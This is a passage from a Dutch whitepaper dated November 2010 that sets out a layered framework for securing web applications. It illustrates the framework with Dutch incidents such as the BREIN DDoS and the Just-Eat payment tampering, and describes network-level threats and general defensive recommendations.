Alle soorten kwetsbaarheden en bedreigingen, dus niet alleen die op applicatieniveau, krijgen een plek in het RBW en komen aan de orde bij de beschrijving van de afzonderlijke onderdelen uit het raamwerk (hoofdstuk 3 t/m 11). Drie generieke kwetsbaarheden en bedreigingen noemen we hier alvast, omdat ze aanwezig kunnen zijn op alle afzonderlijke lagen van het raamwerk en niet gebonden zijn aan één van deze lagen: •

Configuratiefouten. Wanneer je niet nadenkt over de configuratie van software en deze software out-of-the-box uitrolt, dan kan dit tot beveiligingsproblemen leiden. In andere gevallen gebeurt dat wel, maar doen zich fouten voor bij het daadwerkelijk effectueren van de configuratie. Ook in het laatste geval kunnen beveiligingsproblemen het resultaat zijn.

•

Aanwezigheid van bekende kwetsbaarheden. Dagelijks verschijnen op internet beveiligingsadviezen van verschillende leveranciers waarin de leverancier een kwetsbaarheid in één van zijn softwareproducten beschrijft. Zodra de leverancier (of de ontdekker) details over een dergelijke kwetsbaarheid bekend maakt, is het vaak een kwestie van tijd voordat publieke code verschijnt waarmee kwaadwillenden deze kwetsbaarheid op eenvoudige manier kunnen misbruiken. Het is belangrijk geleverde updates snel te installeren om de kwetsbaarheid te verhelpen.

•

Aanwezigheid van nieuwe (0-day-) kwetsbaarheden. Wanneer niet de leverancier maar een derde (bijvoorbeeld een hacker) een kwetsbaarheid bekend maakt, en de leverancier niet in staat is gesteld om updates voor zijn software uit te brengen, dan spreek je van een 0-day kwetsbaarheid. Aangezien organisaties zo’n kwetsbaarheid niet meteen kunnen verhelpen door updates te installeren, ben je afhankelijk van eventuele workarounds. Deze kwetsbaarheden kunnen zich in alle verschillende lagen van de webomgeving bevinden: van een kwetsbaarheid in het OS van een router tot aan een kwetsbaarheid in de code van een ‘3rd party Content Management Systeem’ (CMS). Kwaadwillenden maken dankbaar misbruik van 0-day-kwetsbaarheden om aanvallen op webapplicaties uit te voeren.

Bedenk dat kwaadwillenden op basis van specifieke eigenschappen, eenvoudig op internet kunnen zoeken naar kwetsbare webapplicaties. Dit kan bijvoorbeeld via zoekmachines als Google (‘Google Hacking’), waardoor de drempel voor het aanvallen van webapplicaties heel laag is.

Titel

Datum


4-11-2010

Pagina

18

2.4. Het raamwerk In figuur 2-4 is het RBW weergegeven. Het raamwerk bevindt zich hierbij logisch gezien tussen een client en een webapplicatie.

Figuur 2-4: Raamwerk Beveiliging Webapplicaties

Zoals uit het raamwerk van figuur 2-4 is op te maken, bestaat de beveiliging van webapplicaties uit verschillende horizontale en verticale (beveiligings-)lagen. Bekeken vanaf de client verschijnen achtereenvolgens de volgende horizontale lagen: •

Netwerkbeveiliging: beveiliging die zich voornamelijk richt op het beveiligen van informatiestromen op het transport- en netwerkniveau.

•

Platformbeveiliging: richt zich op het beveiligen van de verschillende platformen (besturingssystemen) waarvan webapplicaties – en aanverwante componenten zoals databases – gebruik maken.

•

Applicatiebeveiliging: richt zich op het beveiligen van de webapplicatie en het applicatieplatform. Applicatiebeveiliging hoeft geen geïntegreerd onderdeel van de webapplicatie zelf te zijn, maar kan ook als losstaand component functioneren in de infrastructuur van de webapplicatie. Een firewall op applicatieniveau (Web Application Firewall) is een typisch losstaande component dat geen geïntegreerd onderdeel van de applicatie is, maar wel beveiligingservices biedt aan deze applicatie.

•

Identiteitbeheer: identiteitbeheer bevat onder andere functionaliteit voor het authenticeren van gebruikers van webapplicaties. Daarnaast is ook het beheren

Titel

Datum


4-11-2010

Pagina

19

van deze identiteiten een belangrijk aspect. •

Toegangsbeheer: binnen toegangsbeheer worden toegangsrechten toegekend aan gebruikers. Afhankelijk van zijn rechten mag een gebruiker wel of geen gebruik maken van (delen van) de webapplicatie.

•

Vertrouwelijkheid en onweerlegbaarheid: vertrouwelijkheid en onweerlegbaarheid richten zich op het waarborgen van de vertrouwelijkheid van gegevens (door middel van versleuteling) en de onweerlegbaarheid van transacties die gebruikers via de webapplicatie uitvoeren.

Bij publieke webapplicaties die geen authenticatie vereisen, vormen de eerste drie lagen (netwerk, platform en applicatie) gezamenlijk de basis van de beveiliging van de webapplicatie. In sommige gevallen speelt bij een webapplicatie die geen authenticatie vereist, ook het aspect vertrouwelijkheid een belangrijke rol. Denk aan het versturen van mogelijk gevoelige informatie via een webformulier. Bij webapplicaties die wel authenticatie vereisen, zijn ook de overgebleven twee lagen (identiteitbeheer en toegangsbeheer) van belang. Naast de genoemde horizontale lagen bevindt zich in het raamwerk ook nog een aantal verticale lagen. Deze lagen bieden ondersteuning aan de horizontale lagen: •

Beveiligingsintegratie: deze laag richt zich op de integratie van de webapplicatie(s) met de beveiligingsoplossingen uit de verschillende beveiligingslagen en de integratie van beveiligingsoplossingen onderling. Via correct ingerichte beveiligingsintegratie kan een webapplicatie bijvoorbeeld gebruik maken van services van een toepassing die zich richt op het toegangsbeheer.

•

Monitoring, auditing en alerting: deze laag richt zich op het monitoren van de werking van de verschillende componenten uit de horizontale lagen. Daarnaast houdt deze laag zich bezig met het vastleggen van belangrijke acties die plaatsvinden binnen de omgeving van de webapplicatie en het uitsturen van alarmmeldingen op het moment dat zich afwijkende (mogelijk schadelijke) gebeurtenissen voordoen.

Als laatste is in figuur 2-4 het informatiebeveiligingsbeleid afgebeeld. Dit beleid is leidend voor de invulling van de verschillende andere onderdelen van het raamwerk. Dit informatiebeveiligingsbeleid komt in dit document verder niet aan de orde, omdat een organisatie bij het implementeren van de maatregelen uit het RBW al over een dergelijk beleid moet beschikken.

Titel

Datum


4-11-2010

Pagina

20

2.5. Doelen Het RBW heeft de volgende doelen: • • • • •

•

Het dient als referentiepunt voor het implementeren van beveiligingsmaatregelen rondom webapplicaties. Het wil samenhang bereiken van samenhang tussen gekozen beveiligingsmaatregelen en -oplossingen voor webapplicaties. Het wil hergebruik van beveiligingsoplossingen bereiken, zodat niet elke webapplicatie een nieuwe beveiligingsoplossing introduceert. Het borgt informatiebeveiliging in de software development lifecycle voor webapplicaties. Het bevordert de snelheid en kwaliteit in de implementatie van beveiliging voor webapplicaties (en daarmee de snelheid en de kwaliteit in de implementatie van webapplicaties als geheel). Het biedt handvatten voor het beveiligen van webapplicaties.

2.6. Reikwijdte Het RBW is technisch van aard. Dit betekent dat een aantal aspecten van informatiebeveiliging geen onderdeel uitmaakt van het raamwerk. Het raamwerk besteedt bijvoorbeeld geen aandacht aan zaken als beveiligingsorganisatie, fysieke beveiliging en personeel. Veel van de zaken die deze whitepaper behandelt, zijn niet alleen van toepassing op webapplicaties, maar ook op andere soorten applicaties. Het is daarom onvermijdelijk dat het whitepaper naast specifieke beveiligingsoplossingen voor webapplicaties, ook algemene beveiligingsoplossingen beschrijft die voor het beveiligen van webapplicaties vereist zijn. Het raamwerk houdt zich bezig met allerlei zaken die zich binnen een webhosting omgeving kunnen afspelen. Het is goed mogelijk dat voor een webhostingomgeving afwijkende regels en standaarden gelden dan voor een regulier kantoornetwerk. Zo kunnen bijvoorbeeld afwijkende hardenings- en beschikbaarheideisen voor servers gelden. In sommige gevallen is de webhostingomgeving zelfs extern ondergebracht en maakt de omgeving geen onderdeel uit van het netwerk van de organisatie. Figuur 2-5 illustreert de infrastructuur waarin een webhostingomgeving zich kan bevinden als deze wel direct gekoppeld is aan het netwerk van een organisatie, met daarin de afbakening van het RBW (rode vlak).

Titel

Datum


4-11-2010

Pagina

21

Figuur 2-5: reikwijdte RBW (rode vlak)

Tot slot richt het RBW zich op de beveiliging van webapplicaties vanuit het oogpunt van de aanbiedende partij (de serverzijde). Het raamwerk besteedt daarom geen aandacht aan de manier waarop afnemende partijen (de werkstations) veilig gebruik kunnen maken van webapplicaties.

2.7. Incidenten binnen het .nl-domein Implementatie van het RBW moet ertoe leiden dat de mogelijkheid tot misbruik van de webapplicatie tot een minimum beperkt wordt. Dit alles moet ervoor zorgen dat kwaadwillenden er zo min mogelijk in slagen om geslaagde aanvallen op de webapplicatie uit te voeren. Een dergelijke aanval kan leiden tot financiële- , juridische -, politieke - en imagoschade. De afgelopen jaren hebben we verschillende incidenten binnen het .nl-domein gezien, die illustreren dat problemen zich op verschillende lagen van het RBW kunnen voordoen. Onderstaande cases geven meer informatie over deze incidenten.

2.7.1. De BREIN case In juli 2009 kreeg Stichting BREIN te maken met een Distributed Denial-of-Service (DDoS) aanval op haar website. De website van BREIN kreeg per seconde 96 MB aan verkeer te verwerken, waardoor de website gedurende langere tijd niet meer bereikbaar was. Aangenomen wordt dat het hier een vergelding betreft voor het

Titel

Datum


4-11-2010

Pagina

22

dagvaarden van The Pirate Bay. Hoewel een (D)DoS-aanval kan plaatsvinden op verschillende lagen van het RBW was, hier duidelijk sprake van een probleem op netwerkniveau en dus een probleem op de laag ‘Netwerkbeveiliging’ van het RBW. Hoewel het lastig is om de infrastructuur bestand te laten zijn tegen dergelijke aanvallen, bestaan er wel manieren om de impact hiervan te verminderen (zie hoofdstuk 3 – netwerkbeveiliging). http://webwereld.nl/nieuws/60922/website-brein-met-96-mb-per-seconde-aangevallen.html

2.7.2. De Microsoft IIS WebDAV case Door een kwetsbaarheid in Internet Information Server (IIS), de populaire webserver van Microsoft, bleek het in 2009 in bepaalde gevallen mogelijk om willekeurige bestanden op een IIS-webserver te plaatsen of willekeurige bestanden in te zien. De kwetsbaarheid werd veroorzaakt door een foutieve afhandeling van WebDAVverzoeken door de IIS-server waardoor het authenticatieen autorisatiemechanisme van IIS kon worden omzeild. Het lek werd bekend voordat Microsoft in staat was gesteld om een patch uit te brengen (een zogenoemde 0-day kwetsbaarheid), waardoor alle websites op internet die gebruik maakten van WebDAV op Microsoft IIS kwetsbaar waren. Binnen het RBW maakt een dergelijke kwetsbaarheid onderdeel uit van de laag ‘Platformbeveiliging’. Het ‘hardenen‘ (ofwel ‘dicht timmeren’) van de webserver kan in dit soort gevallen voorkomen dat kwaadwillenden de kwetsbaarheid kunnen uitbuiten. http://www.microsoft.com/technet/security/Bulletin/ms09-020.mspx

2.7.3. De Just-Eat/Dibs case Een pizza bestellen voor € 0,01. Dat bleek mogelijk bij de website Just-Eat.nl, een website voor het online bestellen van eten. Het probleem bleek te zitten in de betaalmethode van het Deense bedrijf Dibs waarvan Just-Eat.nl gebruik maakt. Bij het plaatsen van een bestelling werd het totaalbedrag van de bestelling opgeslagen in een zogenoemde verborgen parameter (hidden parameter): een waarde die wel is opgenomen in de webpagina, maar niet direct zichtbaar is voor de gebruiker. Dibs gebruikte deze parameter als basis voor de betaling. Het resultaat van de betaling van dit bedrag werd door Dibs teruggemeld aan Just-Eat.nl. Door vlak voor het betalen deze waarde ‘onder water’ te veranderen in een willekeurig ander bedrag (bijvoorbeeld € 0,01), was het mogelijk om het totaalbedrag dat Dibs afrekende, aan te passen. Aangezien Dibs vervolgens alleen het resultaat van de betaling terugmeldde aan JustEat.nl, bleek het mogelijk om een bestelling tegen een willekeurig bedrag af te rekenen. Misbruik van deze kwetsbaarheid kwam aan het licht toen uit de administratie

Titel

Datum


4-11-2010

Pagina

23

van Just-Eat.nl bleek dat er een groot aantal bestellingen van € 0,01 waren afgerekend. De schade bedroeg op dat moment al ongeveer € 30.000. Deze kwetsbaarheid is een duidelijk probleem op de laag ‘Applicatiebeveiliging’ van het RBW. http://webwereld.nl/nieuws/64004/lek-just-eat-is-al-een-jaar-bekend.html

2.7.4. De SaBeWa case De website van de organisatie Samenwerking Belastingen en Waardebepaling, kortweg SaBeWa, biedt inwoners en bedrijven in Goes, Borsele, Kapelle en Tholen de mogelijkheid om online taxatieverslagen in te zien. Voor toegang tot taxatieverslagen van woningen vereiste de website voorheen gebruikersauthenticatie op basis van postcode, huisnummer, Sofinummer (BSN) en geboortedatum. Daarnaast bood de website ook de mogelijkheid om toegang te krijgen tot taxatieverslagen van nietwoningen (bijvoorbeeld schuren). Voor dit laatste vereiste de website alleen een postcode en huisnummer. Door een fout in de website bleek het echter mogelijk om op deze manier ook toegang te krijgen tot taxatieverslagen van woningen. Hier speelden twee problemen: 1. De authenticatie tot taxatieverslagen van woningen vereiste gegevens die voor iedereen te verkrijgen zijn (postcode, huisnummer, BSN, geboortedatum). Dat vormt een probleem binnen de laag ‘Identititeitbeheer’ van het RBW. 2. Na in te loggen op het gedeelte voor niet-woningen kreeg je ook toegang tot het gedeelte woningen. Dit is een autorisatieprobleem op de laag ‘Toegangsbeheer’ van het RBW. http://www.pzc.nl/regio/bevelandentholen/2949555/Taxatieverslag-ligt-op-straat.ece

2.7.5. De Geschillen Commissie case Via de website van de Geschillen Commissie bleek het voor consumenten mogelijk om niet alleen eigen documenten, maar ook documenten van andere consumenten en bedrijven in te zien. Hierdoor had een willekeurige geauthenticeerde gebruiker toegang tot een grote hoeveelheid vertrouwelijke gegevens. Het betrof hier een zeer traditionele kwetsbaarheid: het volgnummer van het dossier maakte onderdeel uit van de URL. Standaard was hier het volgnummer van de eigen zaak ingevuld. Door het volgnummer echter aan te passen, kreeg men toegang tot de documenten van een willekeurig ander dossier. Hoewel het authenticatiemechanisme van de website in orde

Titel

Datum


4-11-2010

Pagina

24

was, bleek het autorisatiemechanisme in dit geval niet afdoende of afwezig: een voorbeeld van een kwetsbaarheid in de laag ‘Toegangsbeheer’ van het RBW. http://www.nos.nl/nosjournaal/artikelen/2009/4/6/060409_geschillencommissie_lek.html

2.7.6. De Networking4All case In augustus 2009 doet de Nederlandse provider Networking4All onderzoek naar het gebruik van versleuteling door websites van de Nederlandse overheid. De conclusie van dit onderzoek is dat 80% van deze websites geen gebruik maakt van versleuteling (SSL of TLS) voor het versturen van (persoons)gegevens via formulieren. Dit betekent dat deze gegevens leesbaar (cleartext) over het internet worden verstuurd en dat deze in principe kunnen worden onderschept en gelezen door kwaadwillenden. De ernst hiervan is uiteraard afhankelijk van het soort gegevens dat de website via deze formulieren opvraagt. Het niet versleutelen van gevoelige gegevens is een kwetsbaarheid op de laag ‘Vertrouwelijkheid en onweerlegbaarheid’ van het RBW. http://www.networking4all.com/nl/over+ons/nieuws/bedrijfsnieuws/overheid+onveilig/

2.8. Algemene aanbevelingen Deze whitepaper beschrijft per deelgebied van het RBW aanbevelingen die een organisatie kan doorvoeren om de beveiliging van webapplicaties op een voldoende niveau te kunnen brengen. Een aantal aanbevelingen is echter algemener van aard en is van toepassing op alle lagen uit het RBW. Het gaat om de volgende aanbevelingen: •

Test. Voordat je een webapplicatie in productie plaatst, is het van belang dat eerst een uitgebreide test wordt uitgevoerd op de webapplicatie en de omliggende infrastructuur. Vanuit beveiligingsoptiek is het van belang dat via een penetratietest wordt gecontroleerd of de webapplicatie en/of de infrastructuur op enigerlei wijze is binnen te dringen of te misbruiken. Het uitvoeren van tests is niet alleen belangrijk bij de initiële ingebruikname van de webapplicatie, maar ook na het doorvoeren van belangrijke wijzigingen in de webapplicatie of de infrastructuur.

•

Bepaal een baseline en monitor. Aanvallen op de omgeving en misbruik van webapplicaties herkent u in de regel aan afwijkende acties die plaatsvinden binnen de infrastructuur. Zonder een duidelijk beeld van normale verkeersstromen en juist ingerichte monitoring is het lastig om te bepalen of een situatie op een bepaald moment afwijkt van de ‘normale’ situatie. Zie je bijvoorbeeld een groot aantal clients verkeer initiëren richting de webapplicatie, waarbij dit verkeer de volledige beschikbare bandbreedte opslokt, dan is het de vraag of het hier gaat om een

Titel

Datum


4-11-2010

Pagina

25

Distributed Denial-of-Service (DDoS) aanval of dat het ‘gewoon’ druk is. Zonder informatie over de bandbreedte die normaal in gebruik is, is dit onmogelijk te bepalen. •

Wees voorbereid. Een organisatie kan een groot aantal maatregelen treffen om misbruik van systemen tot een minimum te beperken. Ondanks al deze maatregelen is het niet uitgesloten dat een kwaadwillende erin slaagt om door te dringen tot een systeem. Daarom is het van belang dat een organisatie altijd is voorbereid op dit soort zaken. Het opstellen van een incident response procedure, inclusief inbedding hiervan binnen de organisatie (via bijvoorbeeld een Security Incident Response Team – SIRT), is essentieel om de schade bij een dergelijk incident tot een minimum te kunnen beperken.

•

Besteed aandacht aan alle lagen van beveiliging. De centrale boodschap uit deze whitepaper is om aandacht te besteden aan alle lagen van beveiliging rondom een webapplicatie. Voorkom dus dat je de beveiliging ophangt aan één maatregel op één beveiligingslaag. Voorbeelden hiervan zijn het baseren van de beveiliging op het gebruik van alleen SSL (alleen een maatregel op de laag vertrouwelijkheid/onweerlegbaarheid), het gebruik van alleen een firewall (alleen een maatregel op de netwerklaag) en het alleen afschermen van de webapplicatie via een combinatie van gebruikersnaam en Webapplicatie Valkuilen wachtwoord (alleen een maatregel op de Er bestaat een groot aantal fabels als het laag identiteitbeheer). gaat om het beveiligen van webapplicaties. Naast de valkuilen die voortkomen uit het Organisaties kunnen hierdoor denken dat focussen op één van de lagen van hun webapplicatie veilig is terwijl dit niet het beveiliging, bestaan er op het gebied van geval is. Een greep uit de belangrijkste webapplicatiebeveiliging meer valkuilen die valkuilen waar een organisatie in kan hun oorzaak vinden in het onterechte trappen: mijn webapplicatie is veilig want … vertrouwen in beveiligingsmaatregelen of zelfs pure naïviteit. Een overzicht van de • we maken gebruik van een firewall. belangrijkste valkuilen op het gebied van • we hebben alle beschikbare patches webapplicatie beveiliging is terug te vinden in geïnstalleerd. het kader ‘Webapplicatie Valkuilen’. •

•

Voer actief risico management uit. De impact van een kwetsbaarheid is zeer afhankelijk van de webapplicatie waarin deze kwetsbaarheid zich bevindt. Het is dan ook belangrijk om de mogelijke risico’s bij een bepaalde applicatie in kaart te brengen en per risico te bepalen wat de impact ervan kan zijn. Op basis van deze risico-inschatting kun je

•

we maken gebruik van SSL. een test met een webscanner leverde geen kwetsbaarheden op.

•

we maken gebruik van een standaard product.

•

we zijn nog nooit aangevallen.

•

we filteren alle gebruikersinvoer.

•

we hebben dit geoutsourced.

maatregelen prioriteren tegen de

Titel

Datum


4-11-2010

Pagina

26

verschillende risico’s. Op eenzelfde manier kun je ook prioriteiten aanbrengen in het verhelpen van kwetsbaarheden in verschillende webapplicaties van de organisatie. Zo kan het bijvoorbeeld gebeuren dat de organisatie ervoor kiest eerst kwetsbaarheden in een webapplicatie te verhelpen die grote hoeveelheden vertrouwelijke informatie verwerkt en daarna pas in een publiek portal dat geen vertrouwelijke informatie bevat.

Titel

Datum


4-11-2010

Pagina

27

3.

Netwerkbeveiliging

Netwerkbeveiliging vormt de onderste laag van het RBW. Het netwerk zorgt ervoor dat de webapplicatie bereikbaar is via internet en dat de webapplicatie toegang heeft tot backend-systemen zoals databases. Het uitvallen van het netwerk, of een succesvolle aanval daarop, kan ernstige gevolgen hebben voor de beschikbaarheid van de webapplicatie en in sommige gevallen voor de vertrouwelijkheid van het netwerkverkeer. Naast specifieke netwerkcomponenten als routers en firewalls, valt ook een netwerkdienst als DNS en het ontwerp van de infrastructuur onder netwerkbeveiliging. Dit hoofdstuk gaat dieper in op bedreigingen en aanbevelingen op het gebied van netwerkbeveiliging voor webapplicaties.

3.1. Inleiding Het afschermen van het netwerk is een belangrijk aandachtsgebied bij het aanbieden van webapplicaties. Gezien vanaf het internet laten de componenten uit de laag netwerkbeveiliging alleen essentiële internetprotocollen door (HTTP en HTTPS) en blokkeren deze componenten alle overige protocollen11. Idealiter staat de netwerkbeveiliging geen verkeer toe vanuit de webomgeving richting het internet. In het verleden richtten aanvallen op internetomgevingen zich voornamelijk op tekortkomingen in netwerkbeveiliging. Door een sterke verbetering van beveiligingstechnologieën op dit gebied, gecombineerd met een groeiend bewustzijn bij organisaties, nemen aanvallen op netwerkniveau steeds verder af 12. Aanvallen die gebruik maken van valide netwerkverkeer nemen echter steeds verder toe (aanvallen op applicatieniveau – zie hoofdstuk 5 en 6). Toch is het van essentieel belang dat een organisatie zijn netwerk afdoende beveiligt. De beveiliging van een netwerk is immers net zo sterk als de zwakste schakel en een slechte beveiliging van dit netwerk zal vroeg of laat leiden tot succesvolle aanvallen hierop.

11

12

Hierbij wordt uitgegaan van een dedicated infrastructuur voor webapplicaties waarin zich geen andere services bevinden zoals mail (SMTP) en DNS. Zie bijvoorbeeld het ‘Verizon 2009 Data Breach Investigations Report’ waarin betere out-of-the-box security van netwerkcomponenten als mede-oorzaak hiervoor wordt genoemd (http://www.verizonbusiness.com/resources/security/reports/2009_databreach_rp.pdf).

Titel

Datum


4-11-2010

Pagina

28

3.2. Mogelijke kwetsbaarheden en dreigingen Deze paragraaf beschrijft mogelijke kwetsbaarheden en bedreigingen op netwerkniveau die van belang zijn voor webapplicaties. Achtereenvolgens komen aan de orde: (Distributed) Denial-of-Service, server hopping, kwetsbare DNS en kwetsbare firewall.

3.2.1. (Distributed) Denial-of-Service13 Denial-of-Service-aanvallen (DoS) zijn aanvallen op een systeem of dienst met als doel een systeem, dienst of netwerk zo te belasten dat deze uitgeschakeld wordt of niet meer beschikbaar is. Een DoS-aanval kan ook de beveiliging van de omgeving aantasten wanneer bijvoorbeeld authenticatiemechanismen of virusscanners als gevolg van de aanval uitvallen. Meestal vindt een DoS-aanval plaats door excessief gebruik te maken van een op zich legitiem internetprotocol, bijvoorbeeld het opzetten van een TCP-sessie. Een Denial-of-Service-aanval kan worden geïnitieerd vanaf een enkel systeem, maar ook vanaf meerdere systemen tegelijkertijd. Een Denial-of-Service aanval vanaf meerdere systemen wordt een Distributed Denial-of-Service (DDoS) aanval genoemd. Over het algemeen gelden de volgende eigenschappen voor een Denial-of-Service aanval. Het is bedoeld om: • • • •

een netwerk te overspoelen met dataverkeer, waarmee legitiem dataverkeer niet meer kan doorkomen. connecties tussen twee systemen te verbreken. een gebruiker geen toegang te geven tot een systeem. een service op een systeem te onderbreken.

Enkele voorbeelden van DoS-aanvallen zijn SYN-aanval, Smurf-aanval, Syslog-aanval en e-mailbombing.

3.2.2. Server hopping Een succesvolle aanval op een server in de internetomgeving, waarbij de server onder volledige controle staat van een kwaadwillende, kan op zich al tot ernstige schade leiden. Wanneer de kwaadwillende zich via de aangevallen server echter ook nog toegang kan verschaffen tot andere servers en netwerkcomponenten die zich in de 13

De tekst in deze paragraaf is ontleend aan het whitepaper “Aanbevelingen ter bescherming tegen Denial-of-Service aanvallen” van GOVCERT.NL. U kunt dit document downloaden via de Kennisbank van GOVCERT.NL: kennisbank.govcert.nl (alleen toegankelijk voor deelnemers aan GOVCERT.NL) of via de website van GOVCERT.NL: http://www.govcert.nl/render.html?it=50

Titel

Datum


4-11-2010

Pagina

29

omgeving van deze server bevinden (‘server hopping’), loopt de schade alleen nog maar verder op. De kans op server hopping is vooral aanwezig in platte omgevingen waarin alle servers in één logisch segment zijn geplaatst en daardoor zonder tussenkomst van routers of firewalls met elkaar kunnen communiceren. In deze omgevingen vervult een centrale firewall een essentiële rol en kan een beveiligingsprobleem op deze firewall of op een component achter de firewall ernstige consequenties hebben. Figuur 3-1 bevat een voorbeeld van een infrastructuur waarin server hopping mogelijk is door de plaats van de firewall en het gebrek aan segmentering binnen de achterliggende infrastructuur.

Figuur 3-1: server hopping

In figuur 3-1 scheidt één enkele firewall het internet en de webomgeving van elkaar. Op het moment dat een kwaadwillende erin slaagt een server achter de firewall aan te vallen (mogelijk op basis van voor de firewall valide netwerkverkeer), beschikt deze vervolgens over de ‘keys to the kingdom’: vanaf de gecompromitteerde machine kan de kwaadwillende zonder tussenkomst van een firewall alle omliggende machines benaderen.

3.2.3. Kwetsbare DNS 14 Domain Name Services (DNS) zijn zeer belangrijke services voor webapplicaties. Zonder de beschikbaarheid van DNS kunnen gebruikers een website niet op basis van bekende systeemnamen (bijvoorbeeld www.overheid.nl) bereiken. Problemen met DNS 14

Meer informatie over misbruik van DNS is ook terug te vinden in het GOVCERT.NL whitepaper ‘DNSMisbruik: Van herkenning tot preventie’ (http://www.govcert.nl/download.html?f=119)

Titel

Datum


4-11-2010

Pagina

30

leiden daarom in veel gevallen tot een webapplicatie die nog wel beschikbaar, maar niet meer ‘vindbaar’ is. DNS is voor een groot gedeelte gebaseerd op het User Datagram Protocol (UDP). UDP maakt geen gebruik van een 3-way handshake (SYN - SYN/ACK - ACK) zoals bij het Transport Control Protocol (TCP), waardoor op netwerkniveau geen sessie ontstaat tussen de client en de server. Daardoor kan de afzender gebruik maken van ‘gespoofde’ bronadressen. Zo kan een aanvaller zich bijvoorbeeld voordoen als een DNS-server en hiermee malafide DNS-antwoorden injecteren, waardoor gebruikers op een andere website terecht komen dan bedoeld. De belangrijkste risico’s die zich kunnen voordoen bij de implementatie van DNSservices zijn hieronder kort beschreven: •

Toestaan van ‘zone transfers’. Informatie over servers in een bepaald domein slaat DNS op in een zogenaamde zone. Via zone transfers kunnen clients alle DNS-informatie over een bepaalde zone opvragen. Deze zone transfers hebben als doel om primaire en secundaire DNS-servers gesynchroniseerd te houden. Wanneer ook andere systemen dan de primaire en secundaire DNS-servers zone transfers kunnen uitvoeren, betekent dit dat deze systemen alle informatie uit een zone kunnen opvragen. Een kwaadwillende kan deze informatie misbruiken om de omgeving waarin de webapplicatie zich bevindt tot in detail in kaart te brengen.

•

Denial-of-Service (DoS). Ook DNS is, net als het netwerk, vatbaar voor DoSaanvallen. Wanneer de DNS-server een zeer groot aantal DNS-verzoeken moet verwerken, kan dit ertoe leiden dat de DNS-server niet meer in staat is om te reageren op verzoeken. VOORBEELD Ook door onopzettelijk handelen kunnen een groot aantal websites onbereikbaar raken bij DNS-problemen. Zo maakte de organisatie die verantwoordelijk is voor het .se-domein (Zweden) in 2009 een kapitale fout waardoor alle 900.000 domeinen binnen het .se-domein tijdelijk niet meer bereikbaar waren. Doordat de records behorende bij dit domein gedurende maximaal 2 dagen bewaard bleven in DNS-caches, duurde de storing voor sommige delen van het internet 48 uur. Zie voor meer informatie: http://www.iis.se/en/2009/10/13/felaktig-dns-information/

•

DNS cache poisoning. DNS cache poisoning kan zich voordoen op servers die naast de eigen autoritatieve domeinen ook andere (niet-autoritatieve) domeinen ondersteunen (caching servers). Het risico bestaat dat een kwaadwillende in staat is om foutieve DNS-informatie te injecteren in de cache van de DNS-server. Hierdoor kan het gebeuren dat een gebruiker een foutief IP-adres geretourneerd

Titel

Datum


4-11-2010

Pagina

31

krijgt bij het DNS-verzoek voor een bepaalde hostnaam. Het gevolg hiervan is dat de gebruiker verbinding maakt met een verkeerde webserver. Een kwaadwillende kan cache poisoning misbruiken om bijvoorbeeld phishing-aanvallen uit te voeren. VOORBEELD Een zeer bekend voorbeeld van een DNS cache poisoning kwetsbaarheid is het ‘Kaminsky’ lek dat in 2008 openbaar werd en een groot aantal leveranciers van DNS-producten noodzaakte om updates uit te brengen. Via de aanval op dit lek was het mogelijk om in korte tijd een DNS-cache te vervuilen. GOVCERT.NL beschreef de kwetsbaarheid destijds uitgebreid in de factsheet ‘De Kaminsky code’: http://www.govcert.nl/download.html?f=118

3.2.4. Kwetsbare firewall Firewalls vormen een essentieel component in de beveiliging tegen aanvallen op webapplicaties. Door de belangrijke rol die een firewall vervult, kunnen problemen op een firewall een gevaar vormen voor alle applicaties die de firewall afschermt. Het risico bij een probleem op de firewall is met andere woorden zeer hoog. De volgende zaken vormen een risico bij het gebruik van firewalls: •

De organisatie redeneert: “we hebben een firewall, dus we zijn veilig”. De redenering dat de inzet van een firewall de enige beveiligingsmaatregel is die een organisatie vanuit beveiligingsoogpunt hoeft te implementeren, is een verkeerde en kan leiden tot een misplaatst gevoel van veiligheid. De firewall is inderdaad een belangrijk element, maar deze kan niet los worden gezien van andere beveiligingsmaatregelen.

•

De firewall is geconfigureerd als router. Een firewall kan een bijna onbeperkt aantal verbindingen toestaan. Door (bedoeld of onbedoeld) een rulebase te creëren die al het mogelijke verkeer toestaat, functioneert de firewall meer als router dan als firewall. Ook hier geldt dat de firewall in dit geval een misplaatst gevoel van veiligheid kan geven.

•

Men ziet door de bomen het bos niet meer. Aangezien firewalls een centrale rol vervullen binnen een infrastructuur, kan het op een gegeven moment gebeuren dat de firewall zoveel informatiestromen toestaat dat beheerders het overzicht kwijt raken. Wijzigingen doorvoeren op een dergelijke firewall is dan een vrijwel onmogelijke taak. In dit soort gevallen kan een medewerker geneigd zijn meer verbindingen toe te staan dan daadwerkelijk noodzakelijk is.

Titel

Datum


4-11-2010

Pagina

32

ACHTERGROND De Information Systems Security Association (ISSA) voerde in 2009 een onderzoek 15 uit naar het volgen van best practices door firewallbeheerders om de kans op fouten te minimaliseren. De resultaten van het onderzoek zijn helaas verontrustend: • •

•

Firewallrulebases zijn veel complexer dan vaak gedacht. Beheerders geven aan dat deze complexiteit eenvoudig tot fouten kan leiden. Firewallbeheerders maken fouten op routine basis. De meeste beheerders achten het dan ook aannemelijk dat hun rulebase(s) fouten bevatten die schadelijk kunnen zijn voor de beveiliging van de infrastructuur. Firewallbeheerders maken geen gebruik van best practices op het gebied van firewallbeheer.

•

Kwetsbaarheden in firewalls. Ook firewalls kunnen kwetsbaarheden bevatten. Een kritieke kwetsbaarheid op een firewall kan, door de veelal centrale plaatsing van de firewall, ernstige gevolgen hebben.

•

Onduidelijke wensen. Projecten die tot doel hebben een bepaalde webapplicatie te implementeren, hebben niet altijd helder voor ogen welke verkeersstromen de firewall voor deze webapplicatie moet toestaan. Het kan daardoor gebeuren dat het project voor de webapplicatie meer verkeersstromen aanvraagt dan daadwerkelijk noodzakelijk is waardoor de firewall onnodige verkeersstromen toestaat.

3.3. Aanbevelingen Deze paragraaf besteedt aandacht aan de maatregelen die een organisatie kan treffen om netwerkbeveiliging voor webapplicaties in te richten. Aangezien het netwerk een generiek ‘onderstel’ is voor alle mogelijke toepassingen, zijn veel maatregelen niet specifiek gericht op de beveiliging van webapplicaties, maar meer op de algemene beveiliging van de infrastructuur rondom de webapplicatie.

